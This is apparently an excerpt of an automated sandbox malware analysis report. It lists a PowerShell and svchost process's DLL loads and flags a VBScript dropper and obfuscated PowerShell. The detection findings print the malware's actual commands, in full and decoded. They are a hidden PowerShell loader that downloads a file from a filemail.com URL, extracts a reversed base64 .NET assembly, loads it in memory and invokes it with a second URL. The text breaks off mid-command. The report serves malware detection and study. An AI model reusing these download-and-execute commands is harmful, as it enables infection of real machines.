Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\svchost.exe	Section loaded: dpapi.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{B54F3741-5B07-11cf-A4B0-00AA004A55E8}\InprocServer32

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Source: C:\Windows\SysWOW64\svchost.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\15.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676

Jump to behavior

Source:

Data Obfuscation

VBScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: CreateObject("MSXML2.ServerXMLHTTP.6.0")districto = "SUQPNHDCLXIWRGT"rotim = "hSUQPNHDCLXIWRGTtSUQPNHDCLXIWRGTtSUQPNHDCLXIWRGTpSUQPNHDCLXIWRGT:SUQPNHDCLXIWRGT/SUQPNHDCLXIWRGT/SU");_Stream.Position("2");_Stream.CopyTo("Unsupported parameter type 00000009");_Stream.Close();IXMLDOMNode._00000029("bAse64");IXMLDOMElement.dataType("biN.basE64");IXMLDOMElement.text("V3ZTdkN2cnZJdlB2VHYudlN2SHZldkx2THY=");IXMLDOMElement.nodeTypedValue();_Stream.Type("1");_Stream.Open();_Stream.Write("Unsupported parameter type 00002011");_Stream.Position("0");_Stream.Type("2");_Stream.Charset("us-ASCii");_Stream.ReadText();IXMLDOMNode._00000029("bAse64");IXMLDOMElement.dataType("biN.basE64");IXMLDOMElement.text("JXp0ekV6TXpweiV6");IXMLDOMElement.nodeTypedValue();_Stream.Type("1");_Stream.Open();_Stream.Write("Unsupported parameter type 00002011");_Stream.Position("0");_Stream.Type("2");_Stream.Charset("us-ASCii");_Stream.ReadText();IWshShell3.ExpandEnvironmentStrings("%tEMp%");IXMLDOMNode._00000029("bAse64");IXMLDOMElement.dataType("biN.basE64");IXMLDOMElement.text("XEliSUpJWUlmSUtJZUlOSVNJbkloSUNJVElqSURJWUlTSVBJd0kuSXZJYklzSQ==");IXMLDOMElement.nodeTypedValue();_Stream.Type("1");_Stream.Open();_Stream.Write("Unsupported parameter type 00002011");_Stream.Position("0");_Stream.Type("2");_Stream.Charset("us-ASCii");_Stream.ReadText();IXMLDOMNode._00000029("bAse64");IXMLDOMElement.dataType("biN.basE64");IXMLDOMElement.text("MnU1dTZ1");IXMLDOMElement.nodeTypedValue();_Stream.Type("1");_Stream.Open();_Stream.Write("Unsupported parameter type 00002011");_Stream.Position("0");_Stream.Type("2");_Stream.Charset("us-ASCii");_Stream.ReadText();IXMLDOMNode._00000029("bAse64");IXMLDOMElement.dataType("biN.basE64");IXMLDOMElement.text("QU5ETk9ORE5CTi5OU050TnJOZU5hTm1O");IXMLDOMElement.nodeTypedValue();_Stream.Type("1");_Stream.Open();_Stream.Write("Unsupported parameter type 00002011");_Stream.Position("0");_Stream.Type("2");_Stream.Charset("us-ASCii");_Stream.ReadText();IXMLDOMNode._00000029("bAse64");IXMLDOMElement.dataType("biN.basE64");IXMLDOMElement.text("Mmk=");IXMLDOMElement.nodeTypedValue();_Stream.Type("1");_Stream.Open();_Stream.Write("Unsupported parameter type 00002011");_Stream.Position("0");_Stream.Type("2");_Stream.Charset("us-ASCii");_Stream.ReadText();_Stream.Type("1");_Stream.Open();_Stream.Type("2");_Stream.Open();_Stream.WriteText("?Dim louseira, districto, rotimSet louseira = CreateObject("MSXML2.ServerXMLHTTP.6.0")districto = "SUQPNHDCLXIWRGT"rotim = "hSUQPNHDCLXIWRGTtSUQPNHDCLXIWRGTtSUQPNHDCLXIWRGTpSUQPNHDCLXIWRGT:SUQPNHDCLXIWRGT/SUQPNHDCLXIWRGT/SU");_Stream.Position("2");_Stream.CopyTo("Unsupported parameter type 00000009");_Stream.Close();_Stream.SaveToFile("C:\Users\user~1\AppData\Local\Temp\bJYfKeNSnhCTjDYSPw.vbs", "2");IXMLDOMNode._00000029("bAse64");IXMLDOMElement.dataType("biN.basE64");IXMLDOMElement.text("V3ZTdkN2cnZJdlB2VHYudlN2SHZldkx2THY=");IXMLDOMElement.nodeTypedValue();_Stream.Type("1");_Stream.Open();_Stream.Write("Unsupported parameter type 0

Found suspicious powershell code related to unpacking or dynamic code loading

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Anti Malware Scan Interface: $Codigo = 'KCgnYlpOaW1hZ2VVcmwgPSBSckhodHRwczovLzEwMTcuZmlsZW1haWwuY29tL2FwaS9maWxlL2dldD9maWxla2V5PTJBJysnYV9iV285UmV1NCcrJzV0N0JVMWtWZ3NkOXBUOXBnU1NsdlN0JysnR3JuVElDZkZobVRLajNMQzZTUXRJY09jX1QzJysnNXcmcGtfdmlkPWZkNGY2MTRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MDRmIFJySDtiWk53ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O2JaTmltYWdlQnl0ZXMgPSBiWk53ZWJDbGllbnQuRG93bmxvYWREYXRhKGJaTmltYWdlVXJsKTtiWk5pbWFnZVRleHQgPScrJyBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhiWk5pbWFnZUJ5dGVzKTtiWk5zdGFydEZsYWcgPSBSckg8PEJBU0U2NF9TVEFSVD4+UnJIO2JaTmVuZEZsYWcgPSBSckg8PEJBU0U2NF9FTkQ+PlJySDtiWk5zdGFydEluZGV4ID0gJysnYlpOaW1hZ2VUZXh0LkluZGV4T2YoYlpOc3RhcnRGbGFnKTtiWk5lbmRJbmRleCA9IGJaTmltYWdlVGV4dC5JbmQnKydleE9mKGJaTmVuZEZsYScrJ2cpO2JaTnN0YXJ0SW5kZXggLWdlIDAgLWFuZCBiWk5lbmRJbmRleCAtZ3QgYlpOc3RhcicrJ3RJbicrJ2RlJysneDtiWk5zdGFydEluZGV4ICs9IGJaTnN0YXJ0RmxhZy5MZW5ndGg7YlpOYmFzZTY0TCcrJ2VuZ3RoID0gYlpOZW5kSW5kZXggJysnLSBiWk5zdGFyJysndEluZGV4O2JaTmJhc2U2NENvbW1hbmQgPSBiWk5pbWFnJysnZVRleHQuU3Vic3RyaScrJ25nKGJaTnN0YXJ0SW5kZXgsIGJaTmJhc2U2NExlbmd0aCk7YlpOYmFzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoYlpOYmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFpBUiBGb3JFYWNoLU9iamVjdCB7IGJaTl8gJysnfSlbLTEuLi0oYlpOYmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtiWk5jb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKGJaTmJhc2U2JysnNFJldmVyc2VkKTtiWk5sb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoYlpOY29tJysnbWFuZEJ5dGVzKTtiWk52YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKFJySFZBSVJySCk7YlpOdmFpTWV0aG9kLkludm9rZShiWk5udWxsLCBAKFJySHR4dC5MU1NXUy9rbG8vdWUuaHN1cHdzcmVsbCcrJ29yLnN1cC8vOnB0dGhSckgsIFJySGRlc2F0aXZhZG9SckgsIFJyJysnSGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG8nKydScicrJ0gsIFJySDFSckgsIFJySHN2Y2hvc3RSckgsIFJySGRlc2F0aXYnKydhZG9SckgsIFJySGRlc2F0JysnaXZhZG9SckgsUnJIZGVzYXRpJysndmFkb1JySCxSckhkZXNhdGl2YWRvUnJILFJySGRlc2F0aXZhZG9SckgsUnJIMVJySCxSckhkZXNhdGl2YWRvUnJIKSk7JyktQ1JlcExBQ2UgKFtjSEFyXTgyK1tjSEFyXTExNCtbY0hBcl03MiksW2NIQXJdMzkgIC1yRVBsQUNFKFtjSEFyXTk4K1tjSEFyXTkwK1tjSEFyXTc4KSxbY0hBcl0zNiAtQ1JlcExBQ2UnWkFSJyxbY0hBcl0xMjQpIHwgLiAoICRwU2hvTWVbNF0rJFBzaG9NRVszNF0rJ1gnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD$global:?

Obfuscated command line found

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('bZNimageUrl = RrHhttps://1017.filemail.com/api/file/get?filekey=2A'+'a_bWo9Reu4'+'5t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T3'+'5w&pk_vid=fd4f614bb209c62c1730945176a0904f RrH;bZNwebClient = New-Object System.Net.WebClient;bZNimageBytes = bZNwebClient.DownloadData(bZNimageUrl);bZNimageText ='+' [System.Text.Encoding]::UTF8.GetString(bZNimageBytes);bZNstartFlag = RrH<<BASE64_START>>RrH;bZNendFlag = RrH<<BASE64_END>>RrH;bZNstartIndex = '+'bZNimageText.IndexOf(bZNstartFlag);bZNendIndex = bZNimageText.Ind'+'exOf(bZNendFla'+'g);bZNstartIndex -ge 0 -and bZNendIndex -gt bZNstar'+'tIn'+'de'+'x;bZNstartIndex += bZNstartFlag.Length;bZNbase64L'+'ength = bZNendIndex '+'- bZNstar'+'tIndex;bZNbase64Command = bZNimag'+'eText.Substri'+'ng(bZNstartIndex, bZNbase64Length);bZNbase64R'+'eversed = -join (bZNbase64Command.ToCharArray() ZAR ForEach-Object { bZN_ '+'})[-1..-(bZNbase64Command.Length)];bZNcommandBytes = [System.Convert]::FromBase64String(bZNbase6'+'4Reversed);bZNloadedAssembly = [System.Reflection.Assembly]::Load(bZNcom'+'mandBytes);bZNvaiMethod = [dnlib.IO.Home].GetMethod(RrHVAIRrH);bZNvaiMethod.Invoke(bZNnull, @(RrHtxt.LSSWS/klo/ue.hsupwsrell'+'or.sup//:ptthRrH, RrHdesativadoRrH, Rr'+'HdesativadoRrH, RrHdesativadoRrH, RrHdesativado'+'Rr'+'H, RrH1RrH, RrHsvchostRrH, RrHdesativ'+'adoRrH, RrHdesat'+'ivadoRrH,RrHdesati'+'vadoRrH,RrHdesativadoRrH,RrHdesativadoRrH,RrH1RrH,RrHdesativadoRrH));')-CRepLACe ([cHAr]82+[cHAr]114+[cHAr]72),[cHAr]39 -rEPlACE([cHAr]98+[cHAr]90+[cHAr]78),[cHAr]36 -CRepLACe'ZAR',[cHAr]124) \| . ( $pShoMe[4]+$PshoME[34]+'X')"
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('bZNimageUrl = RrHhttps://1017.filemail.com/api/file/get?filekey=2A'+'a_bWo9Reu4'+'5t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T3'+'5w&pk_vid=fd4f614bb209c62c1730945176a0904f RrH;bZNwebClient = New-Object System.Net.WebClient;bZNimageBytes = bZNwebClient.DownloadData(bZNimageUrl);bZNimageText ='+' [System.Text.Encoding]::UTF8.GetString(bZNimageBytes);bZNstartFlag = RrH<<BASE64_START>>RrH;bZNendFlag = RrH<<BASE64_END>>RrH;bZNstartIndex = '+'bZNimageText.IndexOf(bZNstartFlag);bZNendIndex = bZNimageText.Ind'+'exOf(bZNendFla'+'g);bZNstartIndex -ge 0 -and bZNendIndex -gt bZNstar'+'tIn'+'de'+'x;bZNstartIndex += bZNstartFlag.Length;bZNbase64L'+'ength = bZNendIndex '+'- bZNstar'+'tIndex;bZNbase64Command = bZNimag'+'eText.Substri'+'ng(bZNstartIndex, bZNbase64Length);bZNbase64R'+'eversed = -join (bZNbase64Command.ToCharArray() ZAR ForEach-Object { bZN_ '+'})[-1..-(bZNbase64Command.Length)];bZNcommandBytes = [System.Convert]::FromBase64String(bZNbase6'+'4Reversed);bZNloadedAssembly = [System.Reflection.Assembly]::Load(bZNcom'+'mandBytes);bZNvaiMethod = [dnlib.IO.Home].GetMethod(RrHVAIRrH);bZNvaiMethod.Invoke(bZNnull, @(RrHtxt.LSSWS/klo/ue.hsupwsrell'+'or.sup//:ptthRrH, RrHdesativadoRrH, Rr'+'HdesativadoRrH, RrHdesativadoRrH, RrHdesativado'+'Rr'+'H, RrH1RrH, RrHsvchostRrH, RrHdesativ'+'adoRrH, RrHdesat'+'ivadoRrH,RrHdesati'+'vadoRrH,RrHdesativadoRrH,RrHdesativadoRrH,RrH1RrH,RrHdesativadoRrH));')-CRepLACe ([cHAr]82+[cHAr]114+[cHAr]72),[cHAr]39 -rEPlACE([cHAr]98+[cHAr]90+[cHAr]78),[cHAr]36 -CRepLACe'ZAR',[cHAr]124) \| . ( $pShoMe[4]+$PshoME[34]+'X')"			Jump to behavior

Suspicious powershell command line found

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command $Codigo = 'KCgnYlpOaW1hZ2VVcmwgPSBSckhodHRwczovLzEwMTcuZmlsZW1haWwuY29tL2FwaS9maWxlL2dldD9maWxla2V5PTJBJysnYV9iV285UmV1NCcrJzV0N0JVMWtWZ3NkOXBUOXBnU1NsdlN0JysnR3JuVElDZkZobVRLajNMQzZTUXRJY09jX1QzJysnNXcmcGtfdmlkPWZkNGY2MTRiYjIwOWM2MmMxNzMwOTQ1MTc2YTA5MDRmIFJySDtiWk53ZWJDbGllbnQgPSBOZXctT2JqZWN0IFN5c3RlbS5OZXQuV2ViQ2xpZW50O2JaTmltYWdlQnl0ZXMgPSBiWk53ZWJDbGllbnQuRG93bmxvYWREYXRhKGJaTmltYWdlVXJsKTtiWk5pbWFnZVRleHQgPScrJyBbU3lzdGVtLlRleHQuRW5jb2RpbmddOjpVVEY4LkdldFN0cmluZyhiWk5pbWFnZUJ5dGVzKTtiWk5zdGFydEZsYWcgPSBSckg8PEJBU0U2NF9TVEFSVD4+UnJIO2JaTmVuZEZsYWcgPSBSckg8PEJBU0U2NF9FTkQ+PlJySDtiWk5zdGFydEluZGV4ID0gJysnYlpOaW1hZ2VUZXh0LkluZGV4T2YoYlpOc3RhcnRGbGFnKTtiWk5lbmRJbmRleCA9IGJaTmltYWdlVGV4dC5JbmQnKydleE9mKGJaTmVuZEZsYScrJ2cpO2JaTnN0YXJ0SW5kZXggLWdlIDAgLWFuZCBiWk5lbmRJbmRleCAtZ3QgYlpOc3RhcicrJ3RJbicrJ2RlJysneDtiWk5zdGFydEluZGV4ICs9IGJaTnN0YXJ0RmxhZy5MZW5ndGg7YlpOYmFzZTY0TCcrJ2VuZ3RoID0gYlpOZW5kSW5kZXggJysnLSBiWk5zdGFyJysndEluZGV4O2JaTmJhc2U2NENvbW1hbmQgPSBiWk5pbWFnJysnZVRleHQuU3Vic3RyaScrJ25nKGJaTnN0YXJ0SW5kZXgsIGJaTmJhc2U2NExlbmd0aCk7YlpOYmFzZTY0UicrJ2V2ZXJzZWQgPSAtam9pbiAoYlpOYmFzZTY0Q29tbWFuZC5Ub0NoYXJBcnJheSgpIFpBUiBGb3JFYWNoLU9iamVjdCB7IGJaTl8gJysnfSlbLTEuLi0oYlpOYmFzZTY0Q29tbWFuZC5MZW5ndGgpXTtiWk5jb21tYW5kQnl0ZXMgPSBbU3lzdGVtLkNvbnZlcnRdOjpGcm9tQmFzZTY0U3RyaW5nKGJaTmJhc2U2JysnNFJldmVyc2VkKTtiWk5sb2FkZWRBc3NlbWJseSA9IFtTeXN0ZW0uUmVmbGVjdGlvbi5Bc3NlbWJseV06OkxvYWQoYlpOY29tJysnbWFuZEJ5dGVzKTtiWk52YWlNZXRob2QgPSBbZG5saWIuSU8uSG9tZV0uR2V0TWV0aG9kKFJySFZBSVJySCk7YlpOdmFpTWV0aG9kLkludm9rZShiWk5udWxsLCBAKFJySHR4dC5MU1NXUy9rbG8vdWUuaHN1cHdzcmVsbCcrJ29yLnN1cC8vOnB0dGhSckgsIFJySGRlc2F0aXZhZG9SckgsIFJyJysnSGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG9SckgsIFJySGRlc2F0aXZhZG8nKydScicrJ0gsIFJySDFSckgsIFJySHN2Y2hvc3RSckgsIFJySGRlc2F0aXYnKydhZG9SckgsIFJySGRlc2F0JysnaXZhZG9SckgsUnJIZGVzYXRpJysndmFkb1JySCxSckhkZXNhdGl2YWRvUnJILFJySGRlc2F0aXZhZG9SckgsUnJIMVJySCxSckhkZXNhdGl2YWRvUnJIKSk7JyktQ1JlcExBQ2UgKFtjSEFyXTgyK1tjSEFyXTExNCtbY0hBcl03MiksW2NIQXJdMzkgIC1yRVBsQUNFKFtjSEFyXTk4K1tjSEFyXTkwK1tjSEFyXTc4KSxbY0hBcl0zNiAtQ1JlcExBQ2UnWkFSJyxbY0hBcl0xMjQpIHwgLiAoICRwU2hvTWVbNF0rJFBzaG9NRVszNF0rJ1gnKQ==';$OWjuxd = [system.Text.encoding]::UTF8.GetString([system.Convert]::Frombase64String($codigo));powershell.exe -windowstyle hidden -executionpolicy bypass -NoProfile -command $OWjuxD
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -windowstyle hidden -executionpolicy bypass -NoProfile -command "(('bZNimageUrl = RrHhttps://1017.filemail.com/api/file/get?filekey=2A'+'a_bWo9Reu4'+'5t7BU1kVgsd9pT9pgSSlvSt'+'GrnTICfFhmTKj3LC6SQtIcOc_T3'+'5w&pk_vid=fd4f614bb209c62c1730945176a0904f RrH;bZNwebClient = New-Object System.Net.WebClient;bZNimageBytes = bZNwebClient.DownloadData(bZNimageUrl);bZNimageText ='+' [System.Text.Encoding]::UTF8.GetString(bZNimageBytes);bZNstartFlag = RrH<<BASE64_START>>RrH;bZNendFlag = RrH<<BASE64_END>>RrH;bZNstartIndex = '+'bZNimageText.IndexOf(bZNstartFlag);bZNendIndex = bZNimageText.Ind'+'exOf(bZNendFla'+'g);bZNstartIndex -ge 0 -and bZNendIndex -gt bZNstar'+'tIn'+'de'+'x;bZNstartIndex += bZNstartFlag.Length;bZNbase64L'+'ength = bZNendIndex '+'- bZNstar'+'tIndex;bZNbase64Command = bZNimag'+'eText.Substri'+'ng(bZNstartIndex, bZNbase64Length);bZNbase64R'+'eversed = -join (bZNbase64Command.ToCharArray() ZAR ForEach-Object { bZN_ '+'})[-1..-(bZNbase64Command.Length)];bZNcommandBytes = [System.Convert]::FromBase64String(bZNbase6'+'4Reversed);bZNloadedAssembly = [System.Reflection.Assembly]::Load(bZNcom'+'mandBytes);bZNvaiMethod = [dnlib.IO.Home].GetMethod(RrHVAIRrH);bZNvaiMethod.Invoke(bZNnull, @(RrHtxt.LSSWS/klo/ue.hsupwsrell'+'or.sup//:ptthRrH, RrHdesativadoRrH, 